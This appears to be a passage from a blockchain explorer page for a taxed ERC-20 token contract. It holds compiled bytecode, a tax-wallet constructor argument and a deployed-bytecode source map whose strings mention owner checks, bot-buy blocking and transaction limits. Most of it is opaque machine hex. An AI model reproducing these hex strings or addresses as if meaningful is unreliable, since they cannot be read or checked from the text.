08c379a000000000000000000000000000000000000000000000000000000000815260040161185c90613429565b60405180910390fd5b43600160075461187591906133a9565b111561188f57611884836122f3565b1561188e57600080fd5b5b5b5b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119395750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611997576012548261194b85610c5b565b61195591906133a9565b1115611996576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198d90613429565b60405180910390fd5b5b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a2057503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611a6457611a616064611a53600d54600f5411611a4057600954611a44565b600b545b8561222f90919063ffffffff16565b6122a990919063ffffffff16565b90505b6000611a6f30610c5b565b9050601760159054906101000a900460ff16158015611adb5750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611af35750601760169054906101000a900460ff165b8015611b00575060135481115b8015611b0f5750600e54600f54115b15611b4b57611b31611b2c84611b2784601454612306565b612306565b611e6e565b60004790506000811115611b4957611b484761231f565b5b505b505b6000811115611c5157611ba881600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461238b90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611c489190612675565b60405180910390a35b611ca382600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123e990919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d4a611cfc82846123e990919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461238b90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611def84866123e990919063ffffffff16565b604051611dfc9190612675565b60405180910390a350505050565b6000838311158290611e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e499190612526565b60405180910390fd5b5060008385611e619190613449565b9050809150509392505050565b6001601760156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ea657611ea56126c1565b5b604051908082528060200260200182016040528015611ed45781602001602082028036833780820191505090505b5090503081600081518110611eec57611eeb612cd2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fb79190613492565b81600181518110611fcb57611fca612cd2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061203230601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611257565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120969594939291906135b8565b600060405180830381600087803b1580156120b057600080fd5b505af11580156120c4573d6000803e3d6000fd5b50505050506000601760156101000a81548160ff02191690831515021790555050565b6009600a6120f59190612c45565b64e8d4a510006121059190612c90565b6011819055506009600a6121199190612c45565b64e8d4a510006121299190612c90565b601281905550600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156121d857600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166121d757600080fd5b5b7f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a6122079190612c45565b64e8d4a510006122179190612c90565b6040516122249190612675565b60405180910390a150565b600080830361224157600090506122a3565b6000828461224f9190612c90565b905082848261225e9190613641565b1461229e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612295906136e4565b60405180910390fd5b809150505b92915050565b60006122eb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612433565b905092915050565b600080823b905060008111915050919050565b60008183116123155782612317565b815b905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612387573d6000803e3d6000fd5b5050565b600080828461239a91906133a9565b9050838110156123df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123d690613750565b60405180910390fd5b8091505092915050565b600061242b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e0a565b905092915050565b6000808311829061247a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124719190612526565b60405180910390fd5b50600083856124899190613641565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156124d05780820151818401526020810190506124b5565b60008484015250505050565b6000601f19601f8301169050919050565b60006124f882612496565b61250281856124a1565b93506125128185602086016124b2565b61251b816124dc565b840191505092915050565b6000602082019050818103600083015261254081846124ed565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006125878261255c565b9050919050565b6125978161257c565b81146125a257600080fd5b50565b6000813590506125b48161258e565b92915050565b6000819050919050565b6125cd816125ba565b81146125d857600080fd5b50565b6000813590506125ea816125c4565b92915050565b6000806040838503121561260757612606612552565b5b6000612615858286016125a5565b9250506020612626858286016125db565b9150509250929050565b60008115159050919050565b61264581612630565b82525050565b6000602082019050612660600083018461263c565b92915050565b61266f816125ba565b82525050565b600060208201905061268a6000830184612666565b92915050565b61269981612630565b81146126a457600080fd5b50565b6000813590506126b681612690565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6126f9826124dc565b810181811067ffffffffffffffff82111715612718576127176126c1565b5b80604052505050565b600061272b612548565b905061273782826126f0565b919050565b600067ffffffffffffffff821115612757576127566126c1565b5b602082029050602081019050919050565b600080fd5b600061278061277b8461273c565b612721565b905080838252602082019050602084028301858111156127a3576127a2612768565b5b835b818110156127cc57806127b888826125a5565b8452602084019350506020810190506127a5565b5050509392505050565b600082601f8301126127eb576127ea6126bc565b5b81356127fb84826020860161276d565b91505092915050565b6000806040838503121561281b5761281a612552565b5b6000612829858286016126a7565b925050602083013567ffffffffffffffff81111561284a57612849612557565b5b612856858286016127d6565b9150509250929050565b60008060006060848603121561287957612878612552565b5b6000612887868287016125a5565b9350506020612898868287016125a5565b92505060406128a9868287016125db565b9150509250925092565b600080fd5b60008083601f8401126128ce576128cd6126bc565b5b8235905067ffffffffffffffff8111156128eb576128ea6128b3565b5b60208301915083602082028301111561290757612906612768565b5b9250929050565b60008060006040848603121561292757612926612552565b5b600084013567ffffffffffffffff81111561294557612944612557565b5b612951868287016128b8565b93509350506020612964868287016125db565b9150509250925092565b600060ff82169050919050565b6129848161296e565b82525050565b600060208201905061299f600083018461297b565b92915050565b6000602082840312156129bb576129ba612552565b5b60006129c9848285016125a5565b91505092915050565b6000819050919050565b60006129f76129f26129ed8461255c565b6129d2565b61255c565b9050919050565b6000612a09826129dc565b9050919050565b6000612a1b826129fe565b9050919050565b612a2b81612a10565b82525050565b6000602082019050612a466000830184612a22565b92915050565b612a558161257c565b82525050565b6000602082019050612a706000830184612a4c565b92915050565b600060208284031215612a8c57612a8b612552565b5b6000612a9a848285016125db565b91505092915050565b60008060408385031215612aba57612ab9612552565b5b6000612ac8858286016125a5565b9250506020612ad9858286016125a5565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115612b6957808604811115612b4557612b44612ae3565b5b6001851615612b545780820291505b8081029050612b6285612b12565b9450612b29565b94509492505050565b600082612b825760019050612c3e565b81612b905760009050612c3e565b8160018114612ba65760028114612bb057612bdf565b6001915050612c3e565b60ff841115612bc257612bc1612ae3565b5b8360020a915084821115612bd957612bd8612ae3565b5b50612c3e565b5060208310610133831016604e8410600b8410161715612c145782820a905083811115612c0f57612c0e612ae3565b5b612c3e565b612c218484846001612b1f565b92509050818404811115612c3857612c37612ae3565b5b81810290505b9392505050565b6000612c50826125ba565b9150612c5b8361296e565b9250612c887fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612b72565b905092915050565b6000612c9b826125ba565b9150612ca6836125ba565b9250828202612cb4816125ba565b91508282048414831517612ccb57612cca612ae3565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612d0c826125ba565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612d3e57612d3d612ae3565b5b600182019050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612d7f6020836124a1565b9150612d8a82612d49565b602082019050919050565b60006020820190508181036000830152612dae81612d72565b9050919050565b7f54726164696e672068617320616c7265616479206265656e206f70656e656400600082015250565b6000612deb601f836124a1565b9150612df682612db5565b602082019050919050565b60006020820190508181036000830152612e1a81612dde565b9050919050565b7f436f6e747261637420686173206e6f204554482062616c616e63650000000000600082015250565b6000612e57601b836124a1565b9150612e6282612e21565b602082019050919050565b60006020820190508181036000830152612e8681612e4a565b9050919050565b7f57726f6e6720616d6f756e740000000000000000000000000000000000000000600082015250565b6000612ec3600c836124a1565b9150612ece82612e8d565b602082019050919050565b60006020820190508181036000830152612ef281612eb6565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612f2f6017836124a1565b9150612f3a82612ef9565b602082019050919050565b60006020820190508181036000830152612f5e81612f22565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612fc16024836124a1565b9150612fcc82612f65565b604082019050919050565b60006020820190508181036000830152612ff081612fb4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006130536022836124a1565b915061305e82612ff7565b604082019050919050565b6000602082019050818103600083015261308281613046565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130e56025836124a1565b91506130f082613089565b604082019050919050565b60006020820190508181036000830152613114816130d8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006131776023836124a1565b91506131828261311b565b604082019050919050565b600060208201905081810360008301526131a68161316a565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006132096029836124a1565b9150613214826131ad565b604082019050919050565b60006020820190508181036000830152613238816131fc565b9050919050565b7f426f74206164647265737365732063616e6e6f742062757920696e207468652060008201527f666972737420626c6f636b000000000000000000000000000000000000000000602082015250565b600061329b602b836124a1565b91506132a68261323f565b604082019050919050565b600060208201905081810360008301526132ca8161328e565b9050919050565b7f457863656564732074686520737761705468726573686f6c642e000000000000600082015250565b6000613307601a836124a1565b9150613312826132d1565b602082019050919050565b60006020820190508181036000830152613336816132fa565b9050919050565b7f4578636565647320746865206d61785478416d6f756e742e0000000000000000600082015250565b60006133736018836124a1565b915061337e8261333d565b602082019050919050565b600060208201905081810360008301526133a281613366565b9050919050565b60006133b4826125ba565b91506133bf836125ba565b92508282019050808211156133d7576133d6612ae3565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b6000613413601a836124a1565b915061341e826133dd565b602082019050919050565b6000602082019050818103600083015261344281613406565b9050919050565b6000613454826125ba565b915061345f836125ba565b925082820390508181111561347757613476612ae3565b5b92915050565b60008151905061348c8161258e565b92915050565b6000602082840312156134a8576134a7612552565b5b60006134b68482850161347d565b91505092915050565b6000819050919050565b60006134e46134df6134da846134bf565b6129d2565b6125ba565b9050919050565b6134f4816134c9565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61352f8161257c565b82525050565b60006135418383613526565b60208301905092915050565b6000602082019050919050565b6000613565826134fa565b61356f8185613505565b935061357a83613516565b8060005b838110156135ab5781516135928882613535565b975061359d8361354d565b92505060018101905061357e565b5085935050505092915050565b600060a0820190506135cd6000830188612666565b6135da60208301876134eb565b81810360408301526135ec818661355a565b90506135fb6060830185612a4c565b6136086080830184612666565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061364c826125ba565b9150613657836125ba565b92508261366757613666613612565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006136ce6021836124a1565b91506136d982613672565b604082019050919050565b600060208201905081810360008301526136fd816136c1565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061373a601b836124a1565b915061374582613704565b602082019050919050565b600060208201905081810360008301526137698161372d565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208011271cb71502cf50d90ddd14cdc0d00e180fd189c81ff3951aeab9187687a364736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000d58cccae59358d88bd7b3f96e58f61c50120d9af

-----Decoded View---------------
Arg [0] : _walletTax (address): 0xD58ccCae59358d88bd7B3F96e58f61C50120d9AF

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000d58cccae59358d88bd7b3f96e58f61c50120d9af


Deployed Bytecode Sourcemap

2136:9732:1:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4429:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5262:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3468:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4706:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9399:325;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5431:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11435:260;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4615:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2602:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10654:295;;;;;;;;;;;;;:::i;:::-;;2721:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9732:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10556:90;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4809:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;621:148:3;;;;;;;;;;;;;:::i;:::-;;3201:56:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3580:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;407:79:3;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3264:58:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4520:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4936:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10958:254;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2683:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3404:57;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11703:125;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11222:204;;;;;;;;;;;;;:::i;:::-;;5111:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2642:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3663:23;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4429:83;4466:13;4499:5;;;;;;;;;;;;;;;;;4492:12;;4429:83;:::o;5262:161::-;5337:4;5354:39;5363:12;:10;:12::i;:::-;5377:7;5386:6;5354:8;:39::i;:::-;5411:4;5404:11;;5262:161;;;;:::o;3468:54::-;;;;:::o;4706:95::-;4759:7;3005:1;3181:2;:13;;;;:::i;:::-;3161:17;:33;;;;:::i;:::-;4779:14;;4706:95;:::o;9399:325::-;9498:10;;;;;;;;;;;9482:26;;:12;:10;:12::i;:::-;:26;;;9474:35;;;;;;9520:13;9548:169;9563:5;:12;9555:5;:20;9548:169;;;9592:14;9617:5;9623;9617:12;;;;;;;;:::i;:::-;;;;;;;;9592:38;;9680:3;9645:24;:32;9670:6;9645:32;;;;;;;;;;;;;;;;:38;;;;;;;;;;;;;;;;;;9698:7;;;;;:::i;:::-;;;;9577:140;9548:169;;;9463:261;9399:325;;:::o;5431:313::-;5529:4;5546:36;5556:6;5564:9;5575:6;5546:9;:36::i;:::-;5593:121;5602:6;5610:12;:10;:12::i;:::-;5624:89;5662:6;5624:89;;;;;;;;;;;;;;;;;:11;:19;5636:6;5624:19;;;;;;;;;;;;;;;:33;5644:12;:10;:12::i;:::-;5624:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;5593:8;:121::i;:::-;5732:4;5725:11;;5431:313;;;;;:::o;11435:260::-;11542:10;;;;;;;;;;;11526:26;;:12;:10;:12::i;:::-;:26;;;11518:35;;;;;;11569:9;11564:124;11588:10;;:17;;11584:1;:21;11564:124;;;11656:10;;11667:1;11656:13;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;11632:44;;11641:13;;;;;;;;;;;11632:44;;;11671:4;11632:44;;;;;;:::i;:::-;;;;;;;;11607:3;;;;;:::i;:::-;;;;11564:124;;;;11435:260;;;:::o;4615:83::-;4656:5;3005:1;4674:16;;4615:83;:::o;2602:33::-;;;;:::o;10654:295::-;544:12:3;:10;:12::i;:::-;534:22;;:6;;;;;;;;;;:22;;;526:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10713:11:1::1;;;;;;;;;;;10712:12;10704:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;10771:23;10797:21;10771:47;;10855:1;10837:15;:19;10829:59;;;;;;;;;;;;:::i;:::-;;;;;;;;;10907:7;:5;:7::i;:::-;10899:25;;:42;10925:15;10899:42;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;10693:256;10654:295::o:0;2721:32::-;;;;:::o;9732:119::-;9789:4;9812:24;:31;9837:5;9812:31;;;;;;;;;;;;;;;;;;;;;;;;;9805:38;;9732:119;;;:::o;10556:90::-;10605:4;10629:9;10622:16;;10556:90;:::o;4809:119::-;4875:7;4902:9;:18;4912:7;4902:18;;;;;;;;;;;;;;;;4895:25;;4809:119;;;:::o;621:148:3:-;544:12;:10;:12::i;:::-;534:22;;:6;;;;;;;;;;:22;;;526:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;728:1:::1;691:40;;712:6;::::0;::::1;;;;;;;;691:40;;;;;;;;;;;;759:1;742:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;621:148::o:0;3201:56:1:-;;;;:::o;3580:39::-;;;;;;;;;;;;;:::o;407:79:3:-;445:7;472:6;;;;;;;;;;;465:13;;407:79;:::o;3264:58:1:-;;;;:::o;4520:87::-;4559:13;4592:7;;;;;;;;;;;;;;;;;4585:14;;4520:87;:::o;4936:167::-;5014:4;5031:42;5041:12;:10;:12::i;:::-;5055:9;5066:6;5031:9;:42::i;:::-;5091:4;5084:11;;4936:167;;;;:::o;10958:254::-;11036:10;;;;;;;;;;;11020:26;;:12;:10;:12::i;:::-;:26;;;11012:35;;;;;;11076:24;11094:4;11076:9;:24::i;:::-;11066:6;:34;;:48;;;;;11113:1;11104:6;:10;11066:48;11058:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;11142:24;11159:6;11142:16;:24::i;:::-;11177:10;;;;;;;;;;;:19;;:27;11197:6;11177:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10958:254;:::o;2683:31::-;;;;:::o;3404:57::-;;;;:::o;11703:125::-;11777:10;;;;;;;;;;;11761:26;;:12;:10;:12::i;:::-;:26;;;11753:35;;;;;;11815:5;11799:13;;:21;;;;;;;;;;;;;;;;;;11703:125;:::o;11222:204::-;544:12:3;:10;:12::i;:::-;534:22;;:6;;;;;;;;;;:22;;;526:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11286:11:1::1;;;;;;;;;;;11285:12;11277:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;11349:4;11335:11;;:18;;;;;;;;;;;;;;;;;;11378:4;11364:11;;:18;;;;;;;;;;;;;;;;;;11406:12;11393:10;:25;;;;11222:204::o:0;5111:143::-;5192:7;5219:11;:18;5231:5;5219:18;;;;;;;;;;;;;;;:27;5238:7;5219:27;;;;;;;;;;;;;;;;5212:34;;5111:143;;;;:::o;2642:34::-;;;;:::o;3663:23::-;;;;;;;;;;;;;:::o;95:98:0:-;148:7;175:10;168:17;;95:98;:::o;5752:335:1:-;5862:1;5845:19;;:5;:19;;;5837:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5943:1;5924:21;;:7;:21;;;5916:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6025:6;5995:11;:18;6007:5;5995:18;;;;;;;;;;;;;;;:27;6014:7;5995:27;;;;;;;;;;;;;;;:36;;;;6063:7;6047:32;;6056:5;6047:32;;;6072:6;6047:32;;;;;;:::i;:::-;;;;;;;;5752:335;;;:::o;6095:2501::-;6199:1;6183:18;;:4;:18;;;6175:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6276:1;6262:16;;:2;:16;;;6254:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;6346:1;6337:6;:10;6329:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;6404:17;6446:7;:5;:7::i;:::-;6438:15;;:4;:15;;;;:32;;;;;6463:7;:5;:7::i;:::-;6457:13;;:2;:13;;;;6438:32;6434:1806;;;6500:1;6487:10;;:14;:43;;;;;6520:10;;6505:12;:25;6487:43;6483:70;;;6533:18;6546:4;6533:12;:18::i;:::-;6483:70;6579:77;6652:3;6579:68;6602:15;;6591:9;;:26;;6590:56;;6632:14;;6590:56;;;6619:12;;6590:56;6579:6;:10;;:68;;;;:::i;:::-;:72;;:77;;;;:::i;:::-;6567:89;;6685:13;;;;;;;;;;;6677:21;;:4;:21;;;:55;;;;;6716:15;;;;;;;;;;;6702:30;;:2;:30;;;;6677:55;6673:676;;;6771:12;6757:10;;:26;6753:581;;6816:18;:22;6835:2;6816:22;;;;;;;;;;;;;;;;;;;;;;;;;6808:78;;;;;;;;;;;;:::i;:::-;;;;;;;;;3005:1;3384:2;:13;;;;:::i;:::-;3371:10;:26;;;;:::i;:::-;6917:6;:24;;6909:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;6753:581;;;7039:12;;7029:6;:22;;7021:59;;;;;;;;;;;;:::i;:::-;;;;;;;;;7137:14;;7127:6;7111:13;7121:2;7111:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;7103:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;7226:12;7222:1;7209:10;;:14;;;;:::i;:::-;:29;7205:110;;;7276:14;7287:2;7276:10;:14::i;:::-;7275:15;7267:24;;;;;;7205:110;6753:581;6673:676;7375:13;;;;;;;;;;;7369:19;;:2;:19;;;;:46;;;;;7393:18;:22;7412:2;7393:22;;;;;;;;;;;;;;;;;;;;;;;;;7392:23;7369:46;7365:166;;;7470:14;;7460:6;7444:13;7454:2;7444:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;7436:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;7365:166;7556:13;;;;;;;;;;;7550:19;;:2;:19;;;:43;;;;;7588:4;7573:20;;:4;:20;;;;7550:43;7547:174;;;7626:79;7701:3;7626:70;7648:16;;7638:9;;:26;7637:58;;7680:15;;7637:58;;;7666:13;;7637:58;7626:6;:10;;:70;;;;:::i;:::-;:74;;:79;;;;:::i;:::-;7614:91;;7547:174;7737:28;7768:24;7786:4;7768:9;:24::i;:::-;7737:55;;7812:6;;;;;;;;;;;7811:7;:31;;;;;7829:13;;;;;;;;;;;7822:20;;:2;:20;;;7811:31;:46;;;;;7846:11;;;;;;;;;;;7811:46;:88;;;;;7882:17;;7861:20;:38;7811:88;:120;;;;;7913:18;;7903:9;;:28;7811:120;7807:420;;;7952:67;7969:49;7973:6;7980:37;7984:20;8005:11;;7980:3;:37::i;:::-;7969:3;:49::i;:::-;7952:16;:67::i;:::-;8038:26;8067:21;8038:50;;8131:1;8110:18;:22;8107:105;;;8157:35;8170:21;8157:12;:35::i;:::-;8107:105;7933:294;7807:420;6472:1768;6434:1806;8265:1;8255:9;:11;8252:161;;;8305:39;8334:9;8305;:24;8323:4;8305:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;8280:9;:24;8298:4;8280:24;;;;;;;;;;;;;;;:64;;;;8385:4;8362:39;;8371:4;8362:39;;;8391:9;8362:39;;;;;;:::i;:::-;;;;;;;;8252:161;8439:27;8459:6;8439:9;:15;8449:4;8439:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;8423:9;:15;8433:4;8423:15;;;;;;;;;;;;;;;:43;;;;8491:40;8509:21;8520:9;8509:6;:10;;:21;;;;:::i;:::-;8491:9;:13;8501:2;8491:13;;;;;;;;;;;;;;;;:17;;:40;;;;:::i;:::-;8477:9;:13;8487:2;8477:13;;;;;;;;;;;;;;;:54;;;;8562:2;8547:41;;8556:4;8547:41;;;8566:21;8577:9;8566:6;:10;;:21;;;;:::i;:::-;8547:41;;;;;;:::i;:::-;;;;;;;;6164:2432;6095:2501;;;:::o;495:190::-;581:7;614:1;609;:6;;617:12;601:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;641:9;657:1;653;:5;;;;:::i;:::-;641:17;;676:1;669:8;;;495:190;;;;;:::o;9859:483::-;3859:4;3850:6;;:13;;;;;;;;;;;;;;;;;;9937:21:::1;9975:1;9961:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9937:40;;10006:4;9988;9993:1;9988:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;10032:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10022:4;10027:1;10022:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;10065:62;10082:4;10097:15;;;;;;;;;;;10115:11;10065:8;:62::i;:::-;10138:15;;;;;;;;;;;:66;;;10219:11;10245:1;10261:4;10288;10308:15;10138:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;9926:416;3895:5:::0;3886:6;;:14;;;;;;;;;;;;;;;;;;9859:483;:::o;8807:248::-;3005:1;3181:2;:13;;;;:::i;:::-;3161:17;:33;;;;:::i;:::-;8864:12;:22;;;;3005:1;3181:2;:13;;;;:::i;:::-;3161:17;:33;;;;:::i;:::-;8897:14;:24;;;;8935;:32;8960:6;8935:32;;;;;;;;;;;;;;;;;;;;;;;;;8932:72;;;8977:18;:26;8996:6;8977:26;;;;;;;;;;;;;;;;;;;;;;;;;8969:35;;;;;;8932:72;9020:27;3005:1;3181:2;:13;;;;:::i;:::-;3161:17;:33;;;;:::i;:::-;9020:27;;;;;;:::i;:::-;;;;;;;;8807:248;:::o;693:246::-;751:7;780:1;775;:6;771:47;;805:1;798:8;;;;771:47;828:9;844:1;840;:5;;;;:::i;:::-;828:17;;873:1;868;864;:5;;;;:::i;:::-;:10;856:56;;;;;;;;;;;;:::i;:::-